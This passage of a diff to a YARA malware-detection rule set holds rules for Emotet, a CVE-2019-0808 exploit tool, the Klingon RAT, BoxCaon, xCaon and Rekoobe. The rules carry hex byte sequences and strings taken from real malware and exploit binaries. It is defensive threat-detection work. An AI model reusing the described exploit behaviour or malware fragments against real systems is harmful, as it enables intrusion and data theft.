8d bc 24 44 08 00 00 83 c7 fe 66 8b 47 02 83 c7 02 66 85 c0 75 f4 b9 0a 00 00 00 be 40 32 40 00 f3 a5 b9 21 00 00 00 0f 10 05 58 33 40 00 66 a5 8d bc 24 54 0c 00 00 be 70 32 40 00 f3 a5 66 a5 0f 11 84 24 5c 0e 00 00 0f 10 05 78 ed 40 00 0f 11 84 24 6c 0e 00 00 0f 10 05 68 ed 40 00 0f 11 84 24 7c 0e 00 00 38 45 08 75 1f 8d 44 24 10 50 e8 23 fa ff ff 5f 5e 5b 8b 8c 24 c8 11 00 00 33 cc e8 1c 04 00 00 8b } + $seq3 = { 8b 84 b5 e4 d9 ff ff 85 c0 74 66 50 6a 00 68 ff ff 1f 00 ff 15 28 30 40 00 8b f8 85 ff 74 52 8d 85 dc d9 ff ff 50 6a 04 8d 85 d0 d9 ff ff 50 57 ff 15 64 30 40 00 85 c0 74 32 68 04 01 00 00 8d 85 ec fb ff ff 50 ff b5 d0 d9 ff ff 57 ff 15 34 30 40 00 8d 85 ec fb ff ff 68 f8 32 40 00 50 ff 15 38 31 40 00 83 c4 08 85 c0 74 21 57 ff d3 33 ff 8b 85 e0 d9 ff ff 46 c1 e8 02 8b cf 3b f0 0f 82 7b ff ff ff 85 c9 0f 84 43 01 00 00 68 04 01 00 00 8d 85 e4 f9 ff ff 50 6a 00 ff 15 3c 30 40 00 85 c0 0f 84 24 01 00 00 8d 85 f4 fd ff ff 50 68 04 01 00 00 ff 15 14 30 40 00 8d 85 f4 fd ff ff 50 6a 00 68 14 33 40 00 50 ff 15 60 30 40 00 6a 00 8d 85 f4 fd ff ff 50 8d 85 e4 f9 ff ff 50 ff 15 58 30 40 00 85 c0 0f 84 df 00 00 00 6a 00 6a 00 6a 03 6a 00 6a 00 68 00 00 00 c0 8d 85 f4 fd ff ff 50 ff 15 1c 30 40 00 8b f0 83 fe ff 0f 84 b8 00 00 00 6a 00 8d 85 d8 d9 ff ff 50 68 00 10 00 00 8d 85 e4 e9 ff ff 50 56 ff 15 78 30 40 00 85 } condition: - uint16( 0 ) == 0x5a4d and filesize > 80KB and 6 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 30KB and 5 of ( $str* ) and 2 of ( $seq* ) } -rule ARKBIRD_SOLG_MAL_Emotet_Nov_2021_1 : FILE + +rule ARKBIRD_SOLG_APT_Patchwork_Tool_CVE_2019_0808_1 : FILE { meta: - description = "Detect Emotet loader" + description = "Detect CVE 2019-0808 tool used by Patchwork group" author = "Arkbird_SOLG" - id = "ad67c735-7ed9-5440-b693-55dce9840f56" - date = "2021-11-15" - modified = "2021-11-16" - reference = "https://cyber.wtf/2021/11/15/guess-whos-back/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-16/MAL_Emotet_Nov_2021_1.yara#L1-L19" + id = "169255fe-dd7a-5a4e-8f0f-d84a0cf5c684" + date = "2020-08-27" + modified = "2021-07-13" + reference = "https://blog.exodusintel.com/2019/05/17/windows-within-windows/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-27/APT_Patchwork_Tool_CVE_2019_0808_1.yar#L3-L34" license_url = "N/A" - logic_hash = "9ae3cbf863fdf3addd7ec00b4d6b55024c3159156518ef15fff79f5a92988297" + logic_hash = "e66df5d69d64c00cb68ff7bea0f7a7eec6657aff83d0f6cdb48d908bae8bcec8" + score = 50 + quality = 75 + tags = "FILE" + hash1 = "49f8a9203e5055777a67490923243405b9aa519016645fd75731c53cbf02073c" + level = "Experimental" + + strings: + $asm1 = { 8b 3d 44 21 01 10 6a 00 6a 00 6a 01 6a 01 6a 00 6a 00 68 00 00 00 08 68 e4 7e 01 10 68 e8 7e 01 10 6a 00 ff d7 50 68 f0 7e 01 10 a3 c8 a2 01 10 e8 e8 f7 ff ff 8b 35 68 21 01 10 8d 84 24 5c 01 00 00 83 c4 08 c7 84 24 54 01 00 00 1c 00 00 00 0f 57 c0 c7 84 24 58 01 00 00 10 00 00 00 66 0f 13 84 24 60 01 00 00 66 0f 13 84 24 68 01 00 00 50 ff b4 24 1c 01 00 00 c7 84 24 64 01 00 00 00 00 00 60 ff d6 8d 84 24 54 01 00 00 50 ff 74 24 10 ff d6 8b 35 5c 21 01 10 68 04 7f 01 10 ff 74 24 10 68 10 04 00 00 ff b4 24 24 01 00 00 ff } + $asm2 = { a1 14 21 01 10 0f 57 c0 8b 74 24 08 89 84 24 28 01 00 00 8d 84 24 20 01 00 00 50 c7 84 24 28 01 00 00 00 00 00 00 66 0f 13 84 24 3c 01 00 00 c7 84 24 44 01 00 00 00 00 00 00 c7 84 24 50 01 00 00 00 00 00 00 c7 84 24 24 01 00 00 30 00 00 00 c7 84 24 30 01 00 00 00 00 00 00 c7 84 24 34 01 00 00 00 00 00 00 89 b4 24 38 01 00 00 c7 84 24 48 01 00 00 00 00 00 00 c7 84 24 4c 01 00 00 10 7f 01 10 ff 15 64 21 01 10 6a 00 56 6a 00 6a 00 6a 01 6a 01 6a 00 6a 00 68 00 00 00 08 68 20 7f 01 10 68 10 7f 01 10 6a 00 ff d7 6a 00 50 6a 00 6a 00 a3 ec a2 01 10 6a 00 ff b4 24 2c 01 00 00 ff 15 58 21 01 } + $asm3 = { e8 72 fb ff ff 83 c4 08 68 c0 13 00 10 6a fc ff 76 0c ff 15 54 21 01 10 56 ff 75 0c ff 75 08 6a 00 ff 15 24 21 01 10 5f 5e 5b 5d } + $s1 = "[*] Successfully exploited CVE-2019-0808 and triggered the shellcode!" fullword ascii + $s2 = "[!] Failed to find the address of IsMenu within user32.dll." fullword ascii + $s3 = "Sending hSecondaryWindow a WM_ENTERIDLE message to trigger the execution of the shellcode as SYSTEM." fullword ascii + $s4 = "AppPolicyGetProcessTerminationMethod" fullword ascii + $s5 = "[*] Found target windows!" fullword ascii + $s6 = "[*] addressOfIsMenuFromStartOfUser32: 0x%08X" fullword ascii + $s7 = "[*] FakeMenu: %p" fullword ascii + $s8 = "[*] Primary window address: 0x%08X" fullword ascii + $s9 = "[!] Didn't exploit the program. For some reason our privileges were not appropriate." fullword ascii + $s10 = "[*] hUser32: 0x%08X" fullword ascii + $s11 = "[*] Secondary window address: 0x%08X" fullword ascii + $s12 = "[*] Offset: 0x%08X" fullword ascii + $s13 = "[*] pHmValidateHandle: 0x%08X" fullword ascii + $s14 = "[*] HWND: %p " fullword ascii + $s15 = "[*] pIsMenuFunction: 0x%08X" fullword ascii + $s16 = "[*] Destroyed spare windows!" fullword ascii + $s17 = "[!] SetWindowLongA malicious error: 0x%08X" fullword ascii + + condition: + uint16( 0 ) == 0x5a4d and filesize > 70KB and ( pe.imphash ( ) == "d4a5e8c255211639195793920eeda70f" and 2 of ( $asm* ) and 12 of ( $s* ) ) +} +rule ARKBIRD_SOLG_MAL_Klingon_Jun_2021_1 : FILE +{ + meta: + description = "Detect the Klingon RAT" + author = "Arkbird_SOLG" + id = "bf114c4d-3010-5b34-954e-82794e30edcb" + date = "2021-06-19" + modified = "2021-06-21" + reference = "https://www.intezer.com/blog/malware-analysis/klingon-rat-holding-on-for-dear-life/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-20/Klingon/MAL_Klingon_Jun_2021_1.yara#L1-L18" + license_url = "N/A" + logic_hash = "283452d24edea988dc353fada4cd1e050db244a48cc6ab30f70e1900ca9c7c2f" score = 75 quality = 75 tags = "FILE" - hash1 = "0865bd192e226da2c40b8bdd33a65ef41ca255a0031b3b36ab6a657ba6675d5e" - hash2 = "14613fa0b6eea4cd9205ffbe1c462178c94298707d19f78a27eec3dece8765f0" - tlp = "white" - adversary = "TrickBot Gang" + hash1 = "44237e2de44a533751c0baace09cf83293572ae7c51cb4575e7267be289c6611" + hash2 = "c98bb0649262277ec9dd16cf27f8b06042ff552535995f2bdd3355d2adeff801" + hash3 = "e8eea442e148c81f116de31b4fc3d0aa725c5dbbbd840b446a3fb9793d0b9f26" + tlp = "White" + adversary = "-" strings: - $s1 = { 8b 4d 08 0f b6 02 0f b6 31 2b f0 75 18 0f b6 71 01 0f b6 42 01 2b f0 75 0c 0f b6 71 02 0f b6 42 02 2b f0 74 10 33 c9 85 f6 0f 9f c1 8d 0c 4d ff ff ff ff eb 1a 0f b6 49 03 0f b6 42 03 2b c8 74 0e 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff 8b c1 eb 56 8b 4d 08 8b 75 0c 0f b6 11 0f b6 06 2b d0 75 0c 0f b6 51 01 0f b6 46 01 2b d0 74 06 33 c9 85 d2 eb b4 0f b6 49 02 0f b6 46 02 eb be 8b 4d 08 8b 75 0c 0f b6 11 0f b6 06 2b d0 75 e0 0f b6 49 01 0f b6 46 01 eb a4 8b 45 08 0f b6 08 8b 45 0c 0f b6 00 eb 96 33 c0 5e 5b 5d c3 8b ff } - $s2 = { 8b 75 10 83 e0 3f 8b 5d 18 6b c8 38 c1 fa 06 89 75 a0 89 5d c4 89 55 b0 8b 04 95 [2] 03 10 89 4d bc 8b 44 08 18 89 45 9c 8b 45 14 03 c6 89 45 ac ff 15 ?? 40 03 10 80 7b 14 00 89 45 90 75 07 8b cb e8 [2] ff ff 8b 43 0c 8b 75 08 8b fe 8b 40 08 89 45 98 33 c0 ab ab ab 8b 45 a0 8b d0 89 55 d0 3b 45 ac 0f 83 14 03 00 00 8b 7d bc 33 db 89 5d b8 81 7d 98 e9 fd 00 00 8a 02 88 45 cf 8b 45 b0 89 5d c0 c7 45 d4 01 00 00 00 8b 0c 85 } - $s3 = { 53 53 40 6a 05 89 45 d0 8d 45 d8 50 ff 75 d4 8d 45 c0 50 53 ff 75 90 e8 [2] ff ff 83 c4 20 89 45 c8 85 c0 0f 84 00 01 00 00 53 8d 4d a4 51 50 8d 45 d8 50 ff 75 9c ff 15 ?? 40 03 10 85 c0 0f 84 dd 00 00 00 8b 55 d0 8b ca 2b 4d a0 8b 46 08 03 c1 89 45 b8 89 46 04 8b 45 c8 39 45 a4 0f 82 c6 00 00 00 80 7d cf 0a 75 3c 6a 0d 58 53 66 89 45 a8 8d 45 a4 50 6a 01 8d 45 a8 50 ff 75 9c ff 15 ?? 40 03 10 85 c0 0f 84 95 00 00 00 83 7d a4 01 0f 82 93 00 00 00 ff 46 08 ff 46 04 8b 46 04 8b 55 d0 89 45 b8 3b 55 ac 0f 82 6f fd ff ff eb 79 85 } - $s4 = { ba 08 00 00 00 c1 e2 00 8b 45 f0 8b 4c 10 78 03 4d fc 89 4d f8 ba 08 00 00 00 6b c2 0c 8b 4d f0 83 7c 01 78 00 74 09 c7 45 e8 0c 00 00 00 eb 07 c7 45 e8 01 00 00 00 8b 55 e8 89 55 e4 8b 45 e4 8b 4d f0 8b 54 c1 78 89 55 dc 8b 45 e4 8b 4d f0 8b 54 c1 7c 89 55 d8 8b 45 dc 03 45 fc 89 45 d4 8d 4d c8 51 6a 04 8b 55 d8 52 8b 45 d4 50 ff 15 04 40 03 10 8b 4d f8 83 79 0c 00 0f 84 cf } - $s5 = { 83 20 00 33 c9 21 4d e8 53 8b 5d 08 57 33 ff 89 4d e4 89 7d e0 8b 03 85 c0 74 56 8d 4d fc 66 c7 45 fc 2a 3f 51 50 c6 45 fe 00 e8 12 55 00 00 59 59 85 c0 75 1a 8d 45 e0 50 33 c0 50 50 ff 33 e8 13 01 00 00 8b f0 83 c4 10 85 f6 75 74 eb 13 8d 4d e0 51 50 ff 33 e8 ad 01 00 00 83 c4 0c 85 c0 75 1d 83 c3 04 8b 03 } + $seq1 = { 81 3a 70 72 6f 78 0f 85 [2] 00 00 80 7a 04 79 0f 84 [2] 00 00 48 83 f9 05 75 12 81 3a 73 68 65 6c 75 0a 80 7a 04 6c 0f 84 [2] 00 00 48 83 f9 06 75 14 81 3a 62 69 6e 61 75 0c 66 81 7a 04 72 79 0f 84 [2] 00 00 48 83 f9 03 0f 85 ?? 04 00 00 66 81 3a 63 6d 0f 85 [2] 00 00 80 7a 02 64 0f 84 [2] 00 00 48 83 f9 06 } + $seq2 = { 48 8d 05 [3] 00 48 89 ?? 24 [1-4] 48 c7 84 24 ?? 00 00 00 ?? 00 00 00 48 8d 0d [3] 00 48 89 ?? 24 [0-4] 48 c7 ?? 24 } + $seq3 = { 48 8d 0d [3] 00 48 89 8c 24 ?? 00 00 00 48 8b 94 24 ?? 00 00 00 48 89 94 24 ?? 00 00 00 48 89 8c 24 ?? 00 00 00 48 8b 94 24 ?? 00 00 00 48 89 94 24 ?? 00 00 00 48 89 8c 24 ?? 00 00 00 48 89 84 24 ?? 00 00 00 48 8d 05 [3] 00 48 89 04 24 48 c7 44 24 08 08 00 00 00 48 8d 84 24 ?? 00 00 00 48 89 44 24 10 48 c7 44 24 18 03 00 00 00 48 c7 44 24 20 03 00 00 00 e8 [3] ff 48 8b 44 24 30 48 89 44 24 58 48 8b 4c 24 28 48 89 8c 24 ?? 00 00 00 } + + condition: + uint16( 0 ) == 0x5a4d and filesize > 300KB and all of ( $seq* ) +} +rule ARKBIRD_SOLG_Mal_Boxcaon_Jul_2021_1 : FILE +{ + meta: + description = "Detect the BoxCaon malware" + author = "Arkbird_SOLG" + id = "5f456b73-02f9-5dd7-973e-bde20dcddd27" + date = "2021-07-01" + modified = "2021-07-02" + reference = "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-02/IndigoZebra/Mal_BoxCaon_Jul_2021_1.yara#L1-L22" + license_url = "N/A" + logic_hash = "c7dfce8d7a451817a80897d5cb02cec5aba52f86ece0286353865b7d391e2ffc" + score = 75 + quality = 46 + tags = "FILE" + hash1 = "8be3b10406f690ae5cf46c1dba18cb9a1c75bf646defcc9cab81d40fe0e0cc1b" + hash2 = "d0b88ab321a05fc94505620c9d02baec4cb1de7bb3b0067de4f8c0d3ba8548b2" + tlp = "White" + adversary = "IndigoZebra" + + strings: + $s1 = { 7b 22 70 61 74 68 22 3a 20 22 25 73 22 2c 22 61 75 74 6f 72 65 6e 61 6d 65 22 3a 20 66 61 6c 73 65 7d } + $s2 = { 7b 22 70 61 74 68 22 3a 20 22 25 73 22 2c 22 72 65 63 75 72 73 69 76 65 22 3a 20 66 61 6c 73 65 2c 22 69 6e 63 6c 75 64 65 5f 6d 65 64 69 61 5f 69 6e 66 6f 22 3a 20 66 61 6c 73 65 2c 22 69 6e 63 6c 75 64 65 5f 64 65 6c 65 74 65 64 22 3a 20 66 61 6c 73 65 2c 22 69 6e 63 6c 75 64 65 5f 68 61 73 5f 65 78 70 6c 69 63 69 74 5f 73 68 61 72 65 64 5f 6d 65 6d 62 65 72 73 22 3a 20 66 61 6c 73 65 2c 22 69 6e 63 6c 75 64 65 5f 6d 6f 75 6e 74 65 64 5f 66 6f 6c 64 65 72 73 22 3a 20 74 72 75 65 2c 22 69 6e 63 6c 75 64 65 5f 6e 6f 6e 5f 64 6f 77 6e 6c 6f 61 64 61 62 6c 65 5f 66 69 6c 65 73 22 3a 20 74 72 75 65 7d } + $s3 = "api.dropboxapi.com" fullword ascii + $s4 = { 22 70 61 74 68 5f 64 69 73 70 6c 61 79 22 3a 20 22 00 00 00 22 00 00 00 22 70 61 74 68 5f 64 69 73 70 6c 61 79 22 20 3a 20 22 00 00 0d 00 0a 00 44 00 72 00 6f 00 70 00 62 00 6f 00 78 00 2d 00 41 00 50 00 49 00 2d 00 41 00 72 00 67 00 3a 00 20 00 7b 00 22 00 70 00 61 00 74 00 68 00 22 00 3a 00 20 00 22 00 00 00 22 00 7d 00 0d 00 0a 00 00 00 00 00 7b 22 65 72 72 6f 72 5f 73 75 6d 6d 61 72 79 22 00 00 00 00 25 00 73 00 5c 00 25 00 73 00 00 00 7b 22 70 61 74 68 22 3a 20 22 25 73 22 } + $s5 = "C:\\Users\\Public\\%d\\" fullword ascii + $s6 = { 22 00 2c 00 22 00 6d 00 6f 00 64 00 65 00 22 00 3a 00 20 00 22 00 6f 00 76 00 65 00 72 00 77 00 72 00 69 00 74 00 65 00 22 00 2c 00 22 00 61 00 75 00 74 00 6f 00 72 00 65 00 6e 00 61 00 6d 00 65 00 22 00 3a 00 20 00 66 00 61 00 6c 00 73 00 65 00 2c 00 22 00 6d 00 75 00 74 00 65 00 22 00 3a 00 20 00 74 00 72 00 75 00 65 00 2c 00 22 00 73 00 74 00 72 00 69 00 63 00 74 00 5f 00 63 00 6f 00 6e 00 66 00 6c 00 69 00 63 00 74 00 22 00 3a 00 20 00 66 00 61 00 6c 00 73 00 65 00 7d 00 0d 00 0a 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2d 00 54 00 79 00 70 00 65 00 3a 00 20 00 61 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 2f 00 6f 00 63 00 74 00 65 00 74 00 2d 00 73 00 74 00 72 00 65 00 61 00 6d } + $s7 = { 25 73 2f [1-4] 2e 74 78 74 } + $s8 = { 25 73 2f [1-4] 2d 25 30 34 64 25 30 32 64 25 30 32 64 25 30 32 64 25 30 32 64 25 30 32 64 2e 74 78 74 } + + condition: + uint16( 0 ) == 0x5a4d and filesize > 30KB and 6 of ( $s* ) +} +rule ARKBIRD_SOLG_Mal_Xcaon_Jul_2021_1 : FILE +{ + meta: + description = "Detect the xCaon malware" + author = "Arkbird_SOLG" + id = "bcd5a52d-9547-5709-95f4-9d1f956f623c" + date = "2021-07-01" + modified = "2021-07-02" + reference = "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-02/IndigoZebra/Mal_xCaon_Jul_2021_1.yara#L1-L21" + license_url = "N/A" + logic_hash = "9c3e3d0035596323a505404ecc067bd2b87a4b0ac7499f1c87aac015f59eb65a" + score = 75 + quality = 75 + tags = "FILE" + hash1 = "8be3b10406f690ae5cf46c1dba18cb9a1c75bf646defcc9cab81d40fe0e0cc1b" + hash2 = "e9013f35ce11fc4c5eb2c21827bdc459202d362365d6ea5b724dee4fe0088bd1" + hash3 = "489fca69a622195328302e64e29b6183feac90826dce198432d603202ca4d216" + tlp = "White" + adversary = "IndigoZebra" + + strings: + $s1 = { a1 7c 10 41 00 33 c5 89 45 fc 8b 45 08 56 57 6a 49 89 85 f8 80 ff ff 58 6a 50 66 89 45 c8 58 6a 48 66 89 45 ca 58 6a 4c 66 89 45 cc 58 6a 50 66 89 45 ce 58 6a 41 66 89 45 d0 58 6a 50 66 89 45 d2 58 6a 49 66 89 45 d4 58 6a 2e 66 89 45 d6 58 6a 44 66 89 45 d8 58 66 89 45 da 6a 4c 58 66 89 45 dc 66 89 45 de 33 c0 66 89 45 e0 8d 45 c8 50 c7 45 e4 47 65 74 41 c7 45 e8 64 61 70 74 c7 45 ec 65 72 73 49 c7 45 f0 6e 66 6f 00 ff 15 50 d0 40 00 8d 4d e4 51 50 89 85 f4 80 ff ff ff 15 54 d0 40 00 8d 8d f0 80 ff ff 51 8d 8d fc 80 ff ff 51 c7 85 f0 80 ff ff 90 7e 00 00 ff d0 8b c8 33 c0 c6 45 f4 00 8d 7d f5 ab 66 ab aa 85 c9 0f 85 1d 01 00 00 53 6a 25 5e 6a 30 5a 6a 32 59 8b c6 66 89 45 8c 8b c2 66 89 45 8e 6a 58 8b c1 66 89 45 90 58 8b f8 6a 2d 66 89 7d 92 5f 8b df 66 89 5d 94 8b de 66 89 5d 96 8b da 66 89 5d 98 8b d9 66 89 5d 9a 8b d8 66 89 5d 9c 8b df 66 89 5d 9e 8b de 66 89 5d a0 8b da 66 89 5d a2 8b d9 66 89 5d a4 8b d8 66 89 5d a6 8b df 66 89 5d a8 8b de 66 89 5d aa 8b da 66 89 5d ac 8b d9 66 89 5d ae 8b d8 66 89 5d b0 8b df 66 89 5d b2 8b de 66 89 5d b4 8b da 66 89 5d b6 8b d9 66 89 45 c4 66 89 5d b8 8b d8 33 c0 66 89 45 c6 6a 06 8d 85 90 82 ff ff 50 8d 45 f4 50 66 89 5d ba 66 89 7d bc 66 89 75 be 66 89 55 c0 66 89 4d c2 e8 ?? 17 00 00 0f b6 45 f9 50 0f b6 45 f8 50 0f b6 45 f7 50 0f b6 45 f6 50 0f b6 45 f5 50 0f b6 45 f4 50 8d 45 8c 50 ff b5 f8 80 ff ff ff 15 44 d1 40 00 83 c4 2c 33 f6 46 5b ff b5 f4 80 ff ff ff 15 4c d0 40 00 8b } + $s2 = { 6a 5b 58 6a 55 66 89 45 c4 58 6a 70 66 89 45 c6 58 6a 6c 66 89 45 c8 58 6a 6f 66 89 45 ca 58 6a 61 66 89 45 cc 58 6a 64 66 89 45 ce 58 6a 5d 66 89 45 d0 58 6a 0d 66 89 45 d2 58 6a 0a 66 89 45 d4 58 6a 25 66 89 45 d6 33 c0 66 89 45 d8 58 6a 74 66 89 45 ac 8b c6 66 89 45 ae 58 6a 6d 66 89 45 b0 58 6a 70 66 89 45 b2 58 6a 25 66 89 45 b4 58 6a 64 66 89 45 b6 58 6a 2e 66 89 45 b8 58 6a 6c 66 89 45 ba 58 6a 6f 66 89 45 bc 58 6a 67 66 89 45 be 58 6a 46 66 89 45 c0 33 c0 66 89 45 c2 58 6a 69 66 89 45 dc 58 6a 6c 66 89 45 de 58 6a 65 66 89 45 e0 58 6a 3a 66 89 45 e2 58 66 89 45 e4 6a 25 58 66 89 45 e6 6a 0d 58 66 89 45 ea 6a 0a 58 66 89 45 ec 33 c0 66 89 45 ee 8d 45 c4 50 66 89 75 e8 e8 ?? 11 00 00 59 8d 4d c4 8d b5 50 f3 ff ff e8 [2] ff ff 89 bd 4c f2 ff ff c7 85 48 f3 ff ff 0f 00 00 00 89 bd 44 f3 ff ff c6 85 34 f3 ff ff 00 8d 85 34 f3 ff ff 50 83 ec 1c c6 45 fc 03 8d 85 fc f2 ff ff 8b f4 89 a5 50 f2 ff ff 50 e8 [2] ff ff e8 [2] ff ff 8b 9d 34 f3 ff ff 83 c4 20 83 bd 48 f3 ff ff 10 73 06 8d 9d 34 f3 ff ff 8d 85 4c f2 ff ff 50 } + $s3 = { 83 c4 10 8d 85 6c fb ff ff 50 68 04 01 00 00 ff 15 2c d0 40 00 33 c0 56 66 89 85 74 fd ff ff 8d 85 76 fd ff ff 53 50 e8 ?? 10 00 00 83 c4 0c ff 15 30 d0 40 00 8b 35 44 d1 40 00 50 8d 85 6c fb ff ff 50 8d 45 ac 50 8d 85 74 fd ff ff 50 ff d6 83 c4 10 53 68 80 00 00 00 6a 02 53 53 68 00 00 00 40 8d 85 74 fd ff ff 50 ff 15 24 d0 40 00 8b f8 83 ff ff 74 79 53 8d 85 50 f2 ff ff 50 ff b5 4c f2 ff ff 89 9d 50 f2 ff ff ff b5 48 f2 ff ff 57 ff 15 14 d0 40 00 57 ff 15 34 d0 40 00 33 c0 68 fe 07 00 00 66 89 85 6c f3 ff ff 8d 85 6e f3 ff ff 53 50 e8 ?? 10 00 00 8d 85 74 fd ff ff 50 8d 45 dc 50 8d 85 6c f3 ff ff 50 ff d6 8d 85 6c f3 ff ff 50 8d 85 18 f3 ff ff 50 8d 8d 50 f3 ff ff e8 [2] ff ff 83 } + $s4 = { 8b 45 08 33 ff 89 85 60 f1 ff ff 89 bd 5c f1 ff ff 33 c0 be 06 02 00 00 89 7d fc 56 66 89 85 88 fb ff ff 8d 85 8a fb ff ff 57 50 e8 [2] 00 00 33 c0 56 66 89 85 80 f9 ff ff 8d 85 82 f9 ff ff 57 50 e8 [2] 00 00 83 c4 18 6a 43 58 6a 6f 66 89 45 e0 58 6a 6d 66 89 45 e2 58 6a 53 66 89 45 e4 58 6a 70 66 89 45 e6 58 6a 65 66 89 45 e8 58 6a 63 66 89 45 ea 58 66 89 45 ec 33 c0 66 89 45 ee bb 04 01 00 00 53 8d 85 88 fb ff ff 50 8d 45 e0 50 ff 15 00 d0 40 00 8d 85 80 f9 ff ff 50 53 ff 15 2c d0 40 00 6a 25 58 6a 73 5b 6a 63 66 89 45 c0 8b c3 66 89 45 c2 58 6a 63 66 89 45 c4 8b c3 66 89 45 c6 58 6a 6f 66 89 45 c8 58 6a 64 66 89 45 ca 58 6a 65 66 89 45 cc 58 66 89 45 ce 6a 25 58 6a 64 66 89 45 d0 58 6a 2e 66 89 45 d2 58 6a 6c 66 89 45 d4 58 6a 6f 66 89 45 d6 58 6a 67 66 89 45 d8 58 66 89 45 da 33 c0 68 fe 07 00 00 66 89 45 dc 66 89 85 80 f1 ff ff 8d 85 82 f1 ff ff 57 50 e8 [2] 00 00 33 c0 56 66 89 85 90 fd ff ff 8d 85 92 fd ff ff 57 50 e8 [2] 00 00 83 c4 18 6a 25 58 6a 20 66 89 45 98 8b c3 66 89 45 9a 58 6a 2f 8b c8 66 89 4d 9c 59 6a 41 66 89 4d 9e 59 6a 2f 66 89 4d a0 8b c8 66 89 4d a2 59 6a 43 66 89 4d a4 59 66 89 4d a6 6a 22 8b c8 66 89 4d a8 59 6a 25 66 89 4d aa 59 66 89 4d ac 6a 22 8b cb 66 89 4d ae 59 66 89 4d b0 8b c8 6a 3e 66 89 4d b2 59 66 89 45 b6 6a 25 58 66 89 45 b8 33 c0 66 89 4d b4 66 89 5d ba 66 89 45 bc ff 15 30 d0 40 00 8b 35 44 d1 40 00 50 8d 85 80 f9 ff ff 50 8d 45 c0 50 8d 85 90 fd ff ff 50 ff d6 8b 45 0c 83 c4 10 83 7d 20 08 73 03 8d 45 0c 8d 8d 90 fd ff ff 51 50 8d 85 88 fb ff ff 50 8d 45 98 50 8d 85 80 f1 ff ff 50 ff d6 6a 44 5e 56 8d 85 04 f1 ff ff 57 50 e8 [2] 00 00 6a 10 8d 85 48 f1 ff ff 57 50 89 b5 04 f1 ff ff e8 [2] 00 00 83 c4 2c 8d 85 04 f1 ff ff 50 ff 15 28 d0 40 00 33 c0 66 89 85 34 f1 ff ff 8d 85 48 f1 ff ff 50 8d 85 04 f1 ff ff 50 57 57 6a 10 57 57 57 8d 85 80 f1 ff ff 33 db 50 43 57 89 9d 30 f1 ff ff ff 15 08 d0 40 00 68 3f 77 1b 00 ff b5 48 f1 ff ff 8b f0 ff 15 0c d0 40 00 3b f7 0f 84 1c 01 00 00 ff b5 4c f1 ff ff 8b 35 34 d0 40 00 ff d6 ff b5 48 f1 ff ff ff d6 33 c0 c7 85 78 f1 ff ff 07 00 00 00 89 bd 74 f1 ff ff 66 89 85 64 f1 ff ff 57 57 6a 03 57 57 68 00 00 00 80 8d 85 90 fd ff ff 50 88 5d fc ff 15 24 d0 40 00 89 85 5c f1 ff ff 83 f8 ff 0f 84 96 00 00 00 57 50 ff 15 04 d0 40 00 89 85 58 f1 ff ff 83 f8 ff 75 2b ff b5 5c f1 ff ff ff d6 8b 85 60 f1 ff ff 68 64 f1 40 00 e8 f1 00 00 00 53 33 ff 8d b5 64 f1 ff ff e8 64 03 00 00 e9 95 00 00 00 83 c0 02 50 e8 [2] 00 00 8b d8 8b 85 58 f1 ff ff 83 c0 02 50 57 53 e8 [2] 00 00 83 c4 10 57 8d 85 58 f1 ff ff 50 ff b5 58 f1 ff ff 53 ff b5 5c f1 ff ff ff 15 20 d0 40 00 ff b5 5c f1 ff ff ff d6 8d 85 64 f1 ff ff 50 53 e8 d9 11 00 00 53 e8 [2] 00 00 83 c4 0c 8d 85 90 fd ff ff 50 ff 15 38 d0 40 00 8b b5 60 f1 ff ff 8d 9d 64 f1 ff ff e8 96 00 00 00 6a 01 33 ff 8b } + $s5 = { be 06 02 00 00 89 ?? fc 56 66 89 85 ?? fb ff ff 8d 85 ?? fb ff ff ?? 50 e8 [2] 00 00 33 c0 56 66 89 85 ?? f9 ff ff 8d 85 ?? f9 ff ff ?? 50 e8 [2] 00 00 83 c4 18 6a 43 58 6a 6f 66 89 45 e0 58 6a 6d 66 89 45 e2 58 6a 53 66 89 45 e4 58 6a 70 66 89 45 e6 58 6a 65 66 89 45 e8 58 6a 63 66 89 45 ea 58 66 89 45 ec 33 c0 66 89 45 ee ?? 04 01 00 00 ?? 8d 85 ?? fb ff ff 50 8d 45 e0 50 ff 15 00 [2] 00 8d 85 ?? f9 ff ff 50 ?? ff 15 [3] 00 } + $s6 = { 8b 45 08 [5] ff [5] 6a 07 89 85 10 ff ff ff ?? 33 ?? 33 c0 89 ?? 14 89 ?? 10 89 ?? 18 ff ff ff 66 89 ?? 8d ?? 1c 89 ?? fc 89 ?? 14 89 ?? 10 66 89 ?? 8d ?? 38 89 ?? 14 89 ?? 10 89 ?? 0c ff ff ff 66 89 ?? 89 ?? 6c 89 ?? 68 66 89 ?? 58 89 ?? 88 00 00 00 89 ?? 84 00 00 00 66 89 ?? 74 89 ?? b8 00 00 00 89 ?? b4 00 00 00 66 89 ?? a4 00 00 00 6a 68 } condition: - uint16( 0 ) == 0x5a4d and filesize > 30KB and 4 of them + uint16( 0 ) == 0x5a4d and filesize > 30KB and 5 of ( $s* ) } -rule ARKBIRD_SOLG_MAL_Bazarloader_Oct_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_ELF_Rekoobe_Nov_2021_1 : FILE { meta: - description = "Detect BazarLoader implant" + description = "Detect the Rekoobe rootkit" author = "Arkbird_SOLG" - id = "d6462e74-fe1d-599e-aac8-0d0942ca42ad" - date = "2021-10-30" - modified = "2021-10-30" - reference = "https://twitter.com/malwrhunterteam/status/1454154412902002692" - source_url = 